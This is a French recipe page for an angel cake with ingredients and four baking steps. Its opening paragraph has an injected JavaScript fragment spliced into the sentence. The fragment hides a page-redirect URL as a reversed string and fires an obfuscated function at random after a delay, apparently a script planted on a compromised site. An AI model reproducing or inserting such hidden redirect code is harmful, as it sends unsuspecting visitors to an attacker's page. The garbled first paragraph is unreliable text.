An gel cake

2017-12-20

Montez les blancs en neige ferme avec 1 pincée de sel fin et le jus de citron, tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout en fouettant énergiquement, incorporez par petites quantités le sucre glace, la farine, la levure chimique et les ¾  de pralines concassées.

Ingrédients

  • 12 blancs d’œufs
  • 300 g de sucre glace
  • 125 g de farine de blé
  • 1 pincée de sel fin
  • 1 paquet de levure chimique
  • 70 g de maïzena
  • 125 g de pralines roses concassées
  • 1 jus de citron jaune

Préparation de la recette

Etape 1

Montez les blancs en neige ferme avec 1 pincée de sel fin et le jus de citron, tout en fouettant énergiquement, incorporez par petites quantités le sucre glace, la farine, la levure chimique et les ¾ de pralines concassées.

Etape 2

Versez la préparation dans un moule à cake beurré. Préchauffez le four à 150°C thermostat 6. Enfournez et faites cuire pendant 40 minutes environ.

Etape 3

Vérifiez la cuisson en piquant le gâteau avec la pointe d'un couteau qui doit ressortir sèche. Démoulez en prenant soin de décoller les parois du gâteau du moule avec une lame de couteau.

Etape 4

Avant de servir parsemez le gâteau de sucre glace et le reste de pralines concassées. laissez refroidir ; Dégustez avec une glace au caramel où au chocolat.

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